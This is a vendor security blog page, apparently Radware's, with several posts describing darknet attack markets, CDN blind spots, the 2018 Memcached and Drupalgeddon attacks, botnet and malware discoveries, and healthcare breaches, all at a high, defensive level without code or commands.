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DDoS AttacksSecurity

Understanding the Darknet and Its Impact on Cybersecurity

February 19, 2019 — by Radware0

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The darknet is a very real concern for today’s businesses. In recent years, it has redefined the art of hacking and, in the process, dramatically expanded the threat landscape that organizations now face. So, what exactly is the darknet and why should you care?

WHAT IS THE DARKNET?

Not to be confused with the deep web, the dark web/darknet is a collection of thousands of websites that can’t be accessed via normal means and aren’t indexed by search engines like Google or Yahoo.

Simply put, the darknet is an overlay of networks that requires specific tools and software in order to gain   access. The history of the darknet predates the 1980s, and the term was originally used to describe computers on ARPANET that were hidden and programmed to receive messages but which did not respond to or acknowledge anything, thus remaining invisible, or in the dark. Since then, “darknet” has evolved into an umbrella term that describes the portions of the internet purposefully not open to public view or hidden networks whose architecture is superimposed on that of the internet.

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Ironically, the darknet’s evolution can be traced somewhat to the U.S. military. The most common way to access the darknet is through tools such as the Tor network. The network routing capabilities that the Tor network uses were developed in the mid-1990s by mathematicians and computer scientists at the U.S. Naval Research Laboratory with the purpose of protecting U.S. intelligence communications online.

USE AND ACCESS

Uses of the darknet are nearly as wide and as diverse as the internet: everything from email and social media to hosting and sharing files, news websites and e-commerce. Accessing it requires specific software, configurations or authorization, often using nonstandard communication protocols and ports. Currently, two of the most popular ways to access the darknet are via two overlay networks. The first is the aforementioned Tor; the second is called I2P.

Tor, which stands for “onion router” or “onion routing,” is designed primarily to keep users anonymous. Just like the layers of an onion, data is stored within multiple layers of encryption. Each layer reveals the next relay until the final layer sends the data to its destination. Information is sent bidirectionally, so data is being sent back and forth via the same tunnel. On any given day, over one million users are active on the Tor network.

I2P, which stands for the Invisible Internet Project, is designed for user-to-user file sharing. It takes data and encapsulates it within multiple layers. Just like a clove of garlic, information is bunched together with other people’s information to prevent de-packing and inspection, and it sends that data via a unidirectional tunnel.

WHAT’S OUT THERE?

As mentioned previously, the darknet provides news, e-commerce sites, and email and hosting services. While many of the services are innocent and are simply alternatives to what can be found on the internet, a portion of the darknet is highly nefarious and tied to illicit activities due to its surreptitious nature. As a result, since the 1990s, cybercriminals have found a “digital home” on the darknet as a way to communicate, coordinate and, most recently, monetize the art of cyberattacks to a wide range of non-technical novices.

[You may also like: Darknet: A One-Stop Shop for Would-Be Criminals]

One of the most popular services are email services, which have seen a dramatic increase in recent years that parallels the increased popularity of ransomware. Cyberattackers will often use these email services to execute their campaigns to remain hidden from authorities.

Hosting services are yet another. Similar to the cloud computing environments that enterprises might use as part of their IT infrastructure, darknet hosting services are leveraged by cybercriminals and hackers to host websites or e-commerce marketplaces that sell distributed denial-of-service (DDoS) tools and services. These hosting services are typically very unstable as they can be “taken down” by law enforcement or vigilante hackers for political, ideological or moral reasons.

Forums also exist to allow hackers and criminals to have independent discussions for the purpose of knowledge exchanging, including organizing and coordinating DDoS campaigns (such as those planned by Anonymous) and/or exchanging cyberattack best practices. These forums come with a variety of technical options and languages and can be associated with particular threat actors/ groups, hacktivists, attack vectors, etc.

Lastly, just like the real internet, darknet search engines, like Candle and Torch, exist to allow users to easily locate and navigate these various forums, sites and e-commerce stores.

A DIGITAL STORE

Perhaps more than any other service usage, e-commerce sites on the darknet have exploded in popularity in recent years due to the rise of DDoS as a service and stresser services, resulting in huge profit margins for entrepreneurial hackers. Everything from DDoS attack tools and botnet rentals to “contracting” the services of a hacker are now available on the darknet.

[You may also like: The Cost of a DDoS Attack on the Darknet]

The result? These e-commerce sites and their products have commoditized cyberattacks in addition to making them available to a wide range of non-technical users. Often times, these services come with intuitive, GUI-based interfaces that make setting up and launching attacks quick and simple.

Examples abound, but one example of DDoS as a service is PutinStresser. PutinStresser illustrates the ease of access that these services have reached and provides potential buyers with various payment options, discovery tools, a variety of attack vectors and even chat-based customer support. Botnet rental services are also available — their growth paralleling the growth and use of botnets since 2016. A perfect example of a botnet service that is available on the darknet is the JenX botnet, which was discovered in 2018.

Prices for these tools are as diverse as the attack vectors that buyers can purchase and range from as low as $100 to several thousand dollars. Prices are typically based on various factors, such as the number of attack vectors included within the service, the size of the attack (Gbps/Tbps) and the demand.

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Malware and ransomware are equally popular. The notorious WannaCry global ransomware campaign had its C2C servers hosted on the darknet. In addition, just like their botnet and DDoS brethren, malware and ransomware have their own “pay for play” services which dramatically simplify the process of launching a ransomware campaign. Numerous ransomware services exist that allow a user to simply  specify the ransom amount and add notes/ letters, and then the user is provided a simple executable to send to victims.

Lastly, an array of services is available allowing nearly anyone with access to the darknet (and the ability to convert money to bitcoin for payment) to contract hackers for their work. Services include hacking emails, hacking social media accounts and designing malicious software.

Many of these services revolve around the education vertical. The act of educational institutions moving their teaching tools and testing to online networks has bred a new generation of students willing to purchase the services of hackers to change grades and launch DDoS attacks on schools’ networks to postpone tests.

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

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Attack MitigationDDoSDDoS Attacks

What Do Banks and Cybersecurity Have in Common? Everything.

February 7, 2019 — by Radware0

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New cyber-security threats require new solutions. New solutions require a project to implement them. The problems and solutions seem infinite while budgets remain bounded. Therefore, the challenge becomes how to identify the priority threats, select the solutions that deliver the best ROI and stretch dollars to maximize your organization’s protection. Consultants and industry analysts can help, but they too can be costly options that don’t always provide the correct advice.

So how best to simplify the decision-making process? Use an analogy. Consider that every cybersecurity solution has a counterpart in the physical world. To illustrate this point, consider the security measures at banks. They make a perfect analogy, because banks are just like applications or computing environments; both contain valuables that criminals are eager to steal.

The first line of defense at a bank is the front door, which is designed to allow people to enter and leave while providing a first layer of defense against thieves. Network firewalls fulfill the same role within the realm of cyber security. They allow specific types of traffic to enter an organization’s network but block mischievous visitors from entering. While firewalls are an effective first line of defense, they’re not impervious. Just like surreptitious robbers such as Billy the Kid or John Dillinger, SSL/TLS-based encrypted attacks or nefarious malware can sneak through this digital “front door” via a standard port.

Past the entrance there is often a security guard, which serves as an IPS or anti-malware device. This “security guard,” which is typically anti-malware and/or heuristic-based IPS function, seeks to identify unusual behavior or other indicators that trouble has entered the bank, such as somebody wearing a ski mask or perhaps carrying a concealed weapon.

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Once the hacker gets past these perimeter security measures, they find themselves at the presentation layer of the application, or in the case of a bank, the teller. There is security here as well. Firstly, authentication (do you have an account) and second, two-factor authentication (an ATM card/security pin). IPS and anti-malware devices work in
concert with SIEM management solutions to serve as security cameras, performing additional security checks. Just like a bank leveraging the FBI’s Most Wanted List, these solutions leverage crowd sourcing and big-data analytics to analyze data from a massive global community and identify bank-robbing malware in advance.

A robber will often demand access to the bank’s vault. In the realm of IT, this is the database, where valuable information such as passwords, credit card or financial transaction information or healthcare data is stored. There are several ways of protecting this data, or at the very least, monitoring it. Encryption and database
application monitoring solutions are the most common.

Adapting for the Future: DDoS Mitigation

To understand how and why cyber-security models will have to adapt to meet future threats, let’s outline three obstacles they’ll have to overcome in the near future: advanced DDoS mitigation, encrypted cyber-attacks, and DevOps and agile software development.

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A DDoS attack is any cyber-attack that compromises a company’s website or network and impairs the organization’s ability to conduct business. Take an e-commerce business for example. If somebody wanted to prevent the organization from conducting business, it’s not necessary to hack the website but simply to make it difficult for visitors to access it.

Leveraging the bank analogy, this is why banks and financial institutions leverage multiple layers of security: it provides an integrated, redundant defense designed to meet a multitude of potential situations in the unlikely event a bank is robbed. This also includes the ability to quickly and effectively communicate with law enforcement. In the world of cyber security, multi-layered defense is also essential. Why? Because preparing for “common” DDoS attacks is no longer enough. With the growing online availability of attack tools and services, the pool of possible attacks is larger than ever. This is why hybrid protection, which combines both on-premise and cloud-based mitigation services, is critical.

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Why are there two systems when it comes to cyber security? Because it offers the best of both worlds. When a DDoS solution is deployed on-premise, organizations benefit from an immediate and automatic attack detection and mitigation solution. Within a few seconds from the initiation of a cyber-assault, the online services are well protected and the attack is mitigated. However, on-premise DDoS solution cannot handle volumetric network floods that saturate the Internet pipe. These attacks must be mitigated from the cloud.

Hybrid DDoS protections aspire to offer best-of-breed attack mitigation by combining on-premise and cloud mitigation into a single, integrated solution. The hybrid solution chooses the right mitigation location and technique based on attack characteristics. In the hybrid solution, attack detection and mitigation starts immediately and automatically using the on-premise attack mitigation device. This stops various attacks from diminishing the availability of the online services. All attacks are mitigated on-premise, unless they threaten to block the Internet pipe of the organization. In case of pipe saturation, the hybrid solution activates cloud mitigation and the traffic is diverted to the cloud, where it is scrubbed before being sent back to the enterprise.

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An ideal hybrid solution also shares essential information about the attack between on-premise mitigation devices and cloud devices to accelerate and enhance the mitigation of the attack once it reaches the cloud.

Inspecting Encrypted Data

Companies have been encrypting data for well over 20 years. Today, over 50% of Internet traffic is encrypted. SSL/TLS encryption is still the most effective way to protect data as it ties the encryption to both the source and destination. This is a double-edged sword however. Hackers are now leveraging encryption to create new, stealthy attack vectors for malware infection and data exfiltration. In essence, they’re a wolf in sheep’s clothing. To stop hackers from leveraging SSL/TLS-based cyber-attacks, organizations require computing resources; resources to inspect communications to ensure they’re not infected with malicious malware. These increasing resource requirements make it challenging for anything but purpose built hardware to conduct inspection.

[You may also like: HTTPS: The Myth of Secure Encrypted Traffic Exposed]

The equivalent in the banking world is twofold. If somebody were to enter wearing a ski mask, that person probably wouldn’t be allowed to conduct a transaction, or secondly, there can be additional security checks when somebody enters a bank and requests a large or unique withdrawal.

Dealing with DevOps and Agile Software Development

Lastly, how do we ensure that, as applications become more complex, they don’t become increasingly vulnerable either from coding errors or from newly deployed functionality associated with DevOps or agile development practices? The problem is most cyber-security solutions focus on stopping existing threats. To use our bank analogy again, existing security solutions mean that (ideally), a career criminal can’t enter a bank, someone carrying a concealed weapon is stopped or somebody acting suspiciously is blocked from making a transaction. However, nothing stops somebody with no criminal background or conducting no suspicious activity from entering the bank. The bank’s security systems must be updated to look for other “indicators” that this person could represent a threat.

[You may also like: WAFs Should Do A Lot More Against Current Threats Than Covering OWASP Top 10]

In the world of cyber-security, the key is implementing a web application firewall that adapts to evolving threats and applications. A WAF accomplishes this by automatically detecting and protecting new web applications as they are added to the network via automatic policy generation. It should also differentiate between false positives and false negatives. Why? Because just like a bank, web applications are being accessed both by desired legitimate users and undesired attackers (malignant users whose goal is to harm the application and/or steal data). One of the biggest challenges in protecting web applications is the ability to accurately differentiate between the two and identify and block security threats while not disturbing legitimate traffic.

Adaptability is the Name of the Game

The world we live in can be a dangerous place, both physically and digitally. Threats are constantly changing, forcing both financial institutions and organizations to adapt their security solutions and processes. When contemplating the next steps, consider the following:

  • Use common sense and logic. The marketplace is saturated with offerings. Understand how a cybersecurity solution will fit into your existing infrastructure and the business value it will bring by keeping yourorganization up and running and your customer’s data secure.
  • Understand the long-term TCO of any cyber security solution you purchase.
  • The world is changing. Ensure that any cyber security solution you implement is designed to adapt to the constantly evolving threat landscape and your organization’s operational needs.

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

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Attack Types & VectorsDDoSDDoS Attacks

Top 3 Cyberattacks Targeting Proxy Servers

January 16, 2019 — by Daniel Smith1

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Today, many organizations are now realizing that DDoS defense is critical to maintaining an exceptional customer experience. Why? Because nothing diminishes load times or impacts the end user’s experience more than a cyberattack.

As a facilitator of access to content and networks, proxy servers have become a focal point for those seeking to cause grief to organizations via cyberattacks due to the fallout a successful assault can have.

Attacking the CDN Proxy

New vulnerabilities in content delivery networks (CDNs) have left many wondering if the networks themselves are vulnerable to a wide variety of cyberattacks. Here are five cyber “blind spots” that are often attacked – and how to mitigate the risks:

Increase in dynamic content attacks. Attackers have discovered that treatment of dynamic content requests is a major blind spot in CDNs. Since the dynamic content is not stored on CDN servers, all requests for dynamic content are sent to the origin’s servers. Attackers are taking advantage of this behavior to generate attack traffic that contains random parameters in HTTP GET requests. CDN servers immediately redirect this attack traffic to the origin—expecting the origin’s server to handle the requests. However, in many cases the origin’s servers do not have the capacity to handle all those attack requests and fail to provide online services to legitimate users. That creates a denial-of-service situation. Many CDNs can limit the number of dynamic requests to the server under attack. This means they cannot distinguish attackers from legitimate users and the rate limit will result in legitimate users being blocked.

SSL-based DDoS attacks. SSL-based DDoS attacks leverage this cryptographic protocol to target the victim’s online services. These attacks are easy to launch and difficult to mitigate, making them a hacker favorite. To detect and mitigate SSL-based attacks, CDN servers must first decrypt the traffic using the customer’s SSL keys. If the customer is not willing to provide the SSL keys to its CDN provider, then the SSL attack traffic is redirected to the customer’s origin. That leaves the customer vulnerable to SSL attacks. Such attacks that hit the customer’s origin can easily take down the secured online service.

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During DDoS attacks, when web application firewall (WAF) technologies are involved, CDNs also have a significant scalability weakness in terms of how many SSL connections per second they can handle. Serious latency issues can arise. PCI and other security compliance issues are also a problem because they limit the data centers that can be used to service the customer. This can increase latency and cause audit issues.

Keep in mind these problems are exacerbated with the massive migration from RSA algorithms to ECC and DH-based algorithms.

Attacks on non-CDN services. CDN services are often offered only for HTTP/S and DNS applications.  Other online services and applications in the customer’s data center, such as VoIP, mail, FTP and proprietary protocols, are not served by the CDN. Therefore, traffic to those applications is not routed through the CDN. Attackers are taking advantage of this blind spot and launching attacks on such applications. They are hitting the customer’s origin with large-scale attacks that threaten to saturate the Internet pipe of the customer. All the applications at the customer’s origin become unavailable to legitimate users once the internet pipe is saturated, including ones served by the CDN.

[You may also like: CDN Security is NOT Enough for Today]

Direct IP attacks. Even applications that are served by a CDN can be attacked once attackers launch a direct hit on the IP address of the web servers at the customer’s data center. These can be network-based flood attacks such as UDP floods or ICMP floods that will not be routed through CDN services and will directly hit the customer’s servers. Such volumetric network attacks can saturate the Internet pipe. That results in degradation to application and online services, including those served by the CDN.

Web application attacks. CDN protection from threats is limited and exposes web applications of the customer to data leakage and theft and other threats that are common with web applications. Most CDN- based WAF capabilities are minimal, covering only a basic set of predefined signatures and rules. Many of the CDN-based WAFs do not learn HTTP parameters and do not create positive security rules. Therefore, these WAFs cannot protect from zero-day attacks and known threats. For companies that do provide tuning for the web applications in their WAF, the cost is extremely high to get this level of protection. In addition to the significant blind spots identified, most CDN security services are simply not responsive enough, resulting in security configurations that take hours to manually deploy. Security services are using technologies (e.g., rate limit) that have proven inefficient in recent years and lack capabilities such as network behavioral analysis, challenge-response mechanisms and more.

[You may also like: Are Your Applications Secure?]

Finding the Watering Holes

Waterhole attack vectors are all about finding the weakest link in a technology chain. These attacks target often forgotten, overlooked or not intellectually attended to automated processes. They can lead to unbelievable devastation. What follows is a list of sample watering hole targets:

  • App stores
  • Security update services
  • Domain name services
  • Public code repositories to build websites
  • Webanalytics platforms
  • Identity and access single sign-on platforms
  • Open source code commonly used by vendors
  • Third-party vendors that participate in the website

The DDoS attack on Dyn in 2016 has been the best example of the water-holing vector technique to date. However, we believe this vector will gain momentum heading into 2018 and 2019 as automation begins to pervade every aspect of our life.

Attacking from the Side

In many ways, side channels are the most obscure and obfuscated attack vectors. This technique attacks the integrity of a company’s site through a variety of tactics:

  • DDoS the company’s analytics provider
  • Brute-force attack against all users or against all of the site’s third-party companies
  • Port the admin’s phone and steal login information
  • Massive load on “page dotting”
  • Large botnets to “learn” ins and outs of a site

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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Attack Types & VectorsDDoSDDoS Attacks

2018 In Review: Memcache and Drupalgeddon

December 20, 2018 — by Daniel Smith1

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Attackers don’t just utilize old, unpatched vulnerabilities, they also exploit recent disclosures at impressive rates. This year we witnessed two worldwide events that highlight the evolution and speed with which attackers will weaponize a vulnerability: Memcache and Druppalgeddon.

Memcached DDoS Attacks

In late February, Radware’s Threat Detection Network signaled an increase in activity on UDP port 11211. At the same time, several organizations began alerting to the same trend of attackers abusing Memcached servers for amplified attacks. A Memcached amplified DDoS attack makes use of legitimate third-party Memcached servers to send spoofed attack traffic to a targeted victim. Memcached, like other UDP-based services (SSDP, DNS and NTP), are Internet servers that do not have native authentication and are therefore hijacked to launch amplified attacks against their victims. The Memcached protocol was never intended to be exposed to the Internet and thus did not have sufficient security controls in place. Because of this exposure, attackers are able to abuse Memcached UDP port 11211 for reflective, volumetric DDoS attacks.

On February 27, Memcached version 1.5.6 was released which noted that UDP port 11211 was exposed and fixed the issue by disabling the UDP protocol by default. The following day, before the update could be applied, attackers leveraged this new attack vector to launch the world’s largest DDoS attack, a title previously held by the Mirai botnet.

There were two main concerns with regards to the Memcached vulnerability. The first is centered around the number of exposed Memcached servers. With just under 100,000 servers and only a few thousand required to launch a 1Tbps attack, the cause for concern is great. Most organizations at this point are likely unaware that they have vulnerable Memcached servers exposed to the Internet and it takes time to block or filter this service. Memcached servers will be vulnerable for some time, allowing attackers to generate volumetric DDoS attacks with few resources.

[You may also like: Entering into the 1Tbps Era]

The second concern is the time it took attackers to begin exploiting this vulnerability. The spike in activity was known for several days prior to the patch and publication of the Memcached vulnerability. Within 24 hours of publication, an attacker was able to build an amplification list of vulnerable MMemcached servers and launch the massive attack.

Adding to this threat, Defcon.pro, a notorious stresser service, quickly incorporated Memcache into their premium offerings after the disclosure. Stresser services are normally quick to utilize the newest attack vector for many reasons. The first reason being publicity. Attackers looking to purchase DDoS-as-a-service will search for a platform offering the latest vectors. Including them in a service shows demand for the latest vectors. In addition, an operator might include the Memcache DDoS-as-a-service so they can provide their users with more power. A stresser service offering a Memcache DDoS-as-a-service will likely also attract more customers who are looking for volume and once again plays into marketing and availability.

[You may also like: The Rise of Booter and Stresser Services]

DDoS-as-a-service operators are running a business and are currently evolving at rapid rates to keep up with demand. Oftentimes, these operators are using the public attention created by news coverage similar to extortionists. Similarly, ransom denial-of-service (RDoS) operators are quick to threaten the use of new tools due to the risks they pose. DDoS-as-a-service will do the same, but once the threat is mitigated by security experts, cyber criminals will look for newer vectors to incorporate  into their latest toolkit or offerings.

This leads into the next example of Drupalgeddon campaign and how quickly hacktivists incorporated this attack vector into their toolkit for the purpose of spreading messages via defacements.

Drupalgeddon

In early 2018, Radware’s Emergency Response Team (ERT) was following AnonPlus Italia, an Anonymous-affiliated group that was engaged in digital protests throughout April and May. The group–involved in political hacktivism as they targeted the Italian government–executed numerous web defacements to protest war, religion, politics and financial power while spreading a message about their social network by abusing the content management systems (CMS).

On April 20, 2018 AnonPlus Italia began a new campaign and defaced two websites to advertise their website and IRC channel. Over the next six days, AnonPlus Italia would claim responsibility for defacing 21 websites, 20 of which used the popular open-source CMS Drupal.

[You may also like: Hacking Democracy: Vulnerable Voting Infrastructure and the Future of Election Security]

Prior to these attacks, on March 29, 2018, the Drupal security team released a patch for a critical remote code execution (RCE) against Drupal that allowed attackers to execute arbitrary code on unpatched servers as a result of an issue affecting multiple subsystems with default or common module configurations. Exploits for CVE-2018-7600 were posted to Github and Exploit-DB under the guise of education purposes only. The first PoC was posted to Exploit DB on April 13, 2018. On April 14, Legion B0mb3r, a member of the Bangladesh-based hacking group Err0r Squad, posted a video to YouTube demonstrating how to use this CVE-2018-7600 to deface an unpatched version of Drupal. A few days later, on April 17, a Metasploit module was also released to the public.

In May, AnonPlus Italia executed 27 more defacements, of which 19 were Drupal.

Content management systems like WordPress and Joomla are normally abused by Anonymous hacktivists to target other web servers. In this recent string of defacements, the group AnonPlus Italia is abusing misconfigured or unpatched CMS instances with remote code exploits, allowing them to upload shells and deface unmaintained websites for headline attention.

Read “Radware’s 2018 Web Application Security Report” to learn more.

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BotnetsBrute Force AttacksDDoS AttacksPhishing

Top 6 Threat Discoveries of 2018

December 18, 2018 — by Radware1

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Over the course of 2018, Radware’s Emergency Response Team (ERT) identified several cyberattacks and security threats across the globe. Below is a round-up of our top discoveries from the past year. For more detailed information on each attack, please visit DDoS Warriors.

DemonBot

Radware’s Threat Research Center has been monitoring and tracking a malicious agent that is leveraging a Hadoop YARN (Yet-Another-Resource-Negotiator) unauthenticated remote command execution to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

After a spike in requests for /ws/v1/cluster/apps/new-application appeared in our Threat Deception Network, DemonBot was identified and we have been tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 million exploits per day.

[You may also like: IoT Botnets on the Rise]

Credential Stuffing Campaign

In October, Radware began tracking a credential stuffing campaign—a subset of Bruce Force attacks—targeting the financial industry in the United States and Europe.

This particular campaign is motivated by fraud. Criminals are using credentials from prior data breaches to gain access to users’ bank accounts. When significant breaches occur, the compromised emails and passwords are quickly leveraged by cybercriminals. Armed with tens of millions of credentials from recently breached websites, attackers will use these credentials, along with scripts and proxies, to distribute their attack against the financial institution to take over banking accounts. These login attempts can happen in such volumes that they resemble a distributed denial-of-service (DDoS) attack.

DNS Hijacking Targets Brazilian Banks

This summer, Radware’s Threat Research Center identified a hijacking campaign aimed at Brazilian Bank customers through their IoT devices, attempting to gain their bank credentials.

The research center had been tracking malicious activity targeting DLink DSL modem routers in Brazil since early June. Through known old exploits dating from 2015, a malicious agent is attempting to modify the DNS server settings in the routers of Brazilian residents, redirecting all their DNS requests through a malicious DNS server. The malicious DNS server is hijacking requests for the hostname of Banco de Brasil (www.bb.com.br) and redirecting to a fake, cloned website hosted on the same malicious DNS server, which has no connection whatsoever to the legitimate Banco de Brasil website.

[You may also like: Financial Institutions Must Protect the Data Like They Protect the Money]

Nigelthorn Malware

In May, Radware’s cloud malware protection service detected a zero-day malware threat at one of its customers, a global manufacturing firm, by using machine-learning algorithms. This malware campaign is propagating via socially-engineered links on Facebook and is infecting users by abusing a Google Chrome extension (the ‘Nigelify’ application) that performs credential theft, cryptomining, click fraud and more.

Further investigation by Radware’s Threat Research group revealed that this group has been active since at least March 2018 and has already infected more than 100,000 users in over 100 countries.

[You may also like: The Origin of Ransomware and Its Impact on Businesses]

Stresspaint Malware Campaign

On April 12, 2018, Radware’s Threat Research group detected malicious activity via internal feeds of a group collecting user credentials and payment methods from Facebook users across the globe. The group manipulates victims via phishing emails to download a painting application called ‘Relieve Stress Paint.’ While benign in appearance, it runs a malware dubbed ‘Stresspaint’ in the background. Within a few days, the group had infected over 40,000 users, stealing tens of thousands Facebook user credentials/cookies.

DarkSky Botnet

In early 2018, Radware’s Threat Research group discovered a new botnet, dubbed DarkSky. DarkSky features several evasion mechanisms, a malware downloader and a variety of network- and application-layer DDoS attack vectors. This bot is now available for sale for less than $20 over the Darknet.

As published by its authors, this malware is capable of running under Windows XP/7/8/10, both x32 and x64 versions, and has anti-virtual machine capabilities to evade security controls such as a sandbox, thereby allowing it to only infect ‘real’ machines.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

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Application SecurityAttack MitigationDDoS AttacksSecurity

2018 In Review: Healthcare Under Attack

December 12, 2018 — by Daniel Smith0

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Radware’s ERT and Threat Research Center monitored an immense number of events over the last year, giving us a chance to review and analyze attack patterns to gain further insight into today’s trends and changes in the attack landscape. Here are some insights into what we have observed over the last year.

Healthcare Under Attack

Over the last decade there has been a dramatic digital transformation within healthcare; more facilities are relying on electronic forms and online processes to help improve and streamline the patient experience. As a result, the medical industry has new responsibilities and priorities to ensure client data is kept secure and available–which unfortunately aren’t always kept up with.

This year, the healthcare industry dominated news with an ever-growing list of breaches and attacks. Aetna, CarePlus, Partners Healthcare, BJC Healthcare, St. Peter’s Surgery and Endoscopy Center, ATI Physical Therapy, Inogen, UnityPoint Health, Nuance Communication, LifeBridge Health, Aultman Health Foundation, Med Associates and more recently Nashville Metro Public Health, UMC Physicians, and LabCorp Diagnostics have all disclosed or settled major breaches.

[You may also like: 2019 Predictions: Will Cyber Serenity Soon Be a Thing of the Past?]

Generally speaking, the risk of falling prey to data breaches is high, due to password sharing, outdated and unpatched software, or exposed and vulnerable servers. When you look at medical facilities in particular, other risks begin to appear, like those surrounding the number of hospital employees who have full or partial access to your health records during your stay there. The possibilities for a malicious insider or abuse of access is also very high, as is the risk of third party breaches. For example, it was recently disclosed that NHS patient records may have been exposed when passwords were stolen from Embrace Learning, a training business used by healthcare workers to learn about data protection.

Profiting From Medical Data

These recent cyber-attacks targeting the healthcare industry underscore the growing threat to hospitals, medical institutions and insurance companies around the world. So, what’s driving the trend? Profit. Personal data, specifically healthcare records, are in demand and quite valuable on today’s black market, often fetching more money per record than your financial records, and are a crucial part of today’s Fullz packages sold by cyber criminals.

Not only are criminals exfiltrating patient data and selling it for a profit, but others have opted to encrypt medical records with ransomware or hold the data hostage until their extortion demand is met. Often hospitals are quick to pay an extortionist because backups are non-existent, or it may take too long to restore services. Because of this, cyber-criminals have a focus on this industry.

[You may also like: How Secure is Your Medical Data?]

Most of the attacks targeting the medical industry are ransomware attacks, often delivered via phishing campaigns. There have also been cases where ransomware and malware have been delivered via drive-by downloads and comprised third party vendors. We have also seen criminals use SQL injections to steal data from medical applications as well as flooding those networks with DDoS attacks. More recently, we have seen large scale scanning and exploitation of internet connected devices for the purpose of crypto mining, some of which have been located inside medical networks. In addition to causing outages and encrypting data, these attacks have resulted in canceling elective cases, diverting incoming patients and rescheduling surgeries.

For-profit hackers will target and launch a number of different attacks against medical networks designed to obtain and steal your personal information from vulnerable or exposed databases. They are looking for a complete or partial set of information such as name, date of birth, Social Security numbers, diagnosis or treatment information, Medicare or Medicaid identification number, medical record number, billing/claims information, health insurance information, disability code, birth or marriage certificate information, Employer Identification Number, driver’s license numbers, passport information, banking or financial account numbers, and usernames and passwords so they can resell that information for a profit.

[You may also like: Fraud on the Darknet: How to Own Over 1 Million Usernames and Passwords]

Sometimes the data obtained by the criminal is incomplete, but that data can be leveraged as a stepping stone to gather additional information. Criminals can use partial information to create a spear-phishing kit designed to gain your trust by citing a piece of personal information as bait. And they’ll move very quickly once they gain access to PHI or payment information. Criminals will normally sell the information obtained, even if incomplete, in bulk or in packages on private forums to other criminals who have the ability to complete the Fullz package or quickly cash the accounts out. Stolen data will also find its way to public auctions and marketplaces on the dark net, where sellers try to get the highest price possible for data or gain attention and notoriety for the hack.

Don’t let healthcare data slip through the cracks; be prepared.

Read “Radware’s 2018 Web Application Security Report” to learn more.

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What Can We Learn About Cybersecurity from the Challenger Disaster? Everything.

December 5, 2018 — by Radware1

AdobeStock_115308434-960x640.jpg

Understanding the potential threats that your organization faces is an essential part of risk management in modern times. It involves forecasting and evaluating all the factors that impact risk. Processes, procedures and investments can all increase, minimize or even eliminate risk.

Another factor is the human element. Often times, within an organization, a culture exists in which reams of historical data tell one story, but management believes something entirely different. This “cognitive dissonance” can lead to an overemphasis and reliance on near-term data and/or experiences and a discounting of long-term statistical analysis.

Perhaps no better example of this exists than the space shuttle Challenger disaster in 1986, which now serves as a case study in improperly managing risk. In January of that year, the Challenger disintegrated 73 seconds after launch due to the failure of a gasket (called an O-ring) in one of the rocket boosters. While the physical cause of the disaster was caused by the failure of the O-ring, the resulting Rogers Commission that investigated the accident found that NASA had failed to correctly identify “flaws in management procedures and technical design that, if corrected, might have prevented the Challenger tragedy.”

Despite strong evidence dating back to 1977 that the O-ring was a flawed design that could fail under certain conditions/temperatures, neither NASA management nor the rocket manufacturer, Morton Thiokol, responded adequately to the danger posed by the deficient joint design. Rather than redesigning the joint, they came to define the problem as an “acceptable flight risk.” Over the course of 24 preceding successful space shuttle flights, a “safety culture” was established within NASA management that downplayed the technical risks associated with flying the space shuttle despite mountains of data, and warnings about the O-ring, provided by research and development (R & D) engineers.

As American physicist Richard Feynman said regarding the disaster, “For a successful technology, reality must take precedence over public relations, for nature cannot be fooled.”

Truer words have never been spoken when they pertain to cybersecurity. C-suite executives need to stop evaluating and implementing cybersecurity strategies and solutions that meet minimal compliance and establish a culture of “acceptable risk” and start managing to real-world risks — risks that are supported by hard data.

Risk Management and Cybersecurity

The threat of a cyberattack on your organization is no longer a question of if, but when, and C-suite executives know it. According to C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts, 96% of executives were concerned about network vulnerabilities and security risks resulting from hybrid computing environments. Managing risk requires organizations to plan for and swiftly respond to risks and potential risks as they arise. Cybersecurity is no exception. For any organization, risks can be classified into four basic categories:

The Challenger disaster underscores all four of these risk categories. Take strategic risk as an example. Engineers from Morton Thiokol expressed concerns and presented data regarding the performance of the O-rings, both in the years prior and days leading up to the launch, and stated the launch should be delayed. NASA, under pressure to launch the already delayed mission and emboldened by the 24 preceding successful shuttle flights that led them to discount the reality of failure, pressured Morton Thiokol to supply a different recommendation. Morton Thiokol management decided to place organizational goals ahead of safety concerns that were supported by hard data. The recommendation for the launch was given, resulting in one of the most catastrophic incidents in manned space exploration. Both Morton Thiokol and NASA made strategic decisions that placed the advancements of their respective organizations over the risks that were presented.

[You may also like: The Million-Dollar Question of Cyber-Risk: Invest Now or Pay Later?]

This example of strategic risk serves as a perfect analogy for organizations implementing cybersecurity strategies and solutions. There are countless examples of high-profile cyberattacks and data breaches in which upper management was warned in advance of network vulnerabilities, yet no actions were taken to prevent an impending disaster. The infamous 2018 Panera Bread data breach is one such example. Facebook is yet another. Its platform operations manager between 2011 and 2012 warned management at the social tech giant to implement audits or enforce other mechanisms to ensure user data extracted from the social network was not misused by third-party developers and/or systems. These warnings were apparently ignored.

So why does this continually occur? The implementation of DDoS and WAF mitigation solutions often involves three key components within an organization: management, the security team/SOC and compliance. Despite reams of hard data provided by a security team that an organization is either currently vulnerable or not prepared for the newest generation of attack vectors, management will often place overemphasis on near-term security results/experiences; they feel secure in the fact that the organization has never been the victim of a successful cyberattack to date. The aforementioned Facebook story is a perfect example: They allowed history to override hard data presented by a platform manager regarding new security risks.

Underscoring this “cognitive dissonance” is the compliance team, which often seeks to evaluate DDoS mitigation solutions based solely on checkbox functionality that fulfills minimal compliance standards. Alternatively, this strategy also drives a cost-savings approach that yields short-term financial savings within an organization that often times views cybersecurity as an afterthought vis-à-vis other strategic programs, such as mobility, IoT and cloud computing.

The end result? Organizations aren’t managing real-world risks, but rather are managing “yesterday’s” risks, thereby leaving themselves vulnerable to new attack vectors, IoT botnet vulnerabilities, cybercriminals and other threats that didn’t exist weeks or even days ago.

The True Cost of a Cyberattack

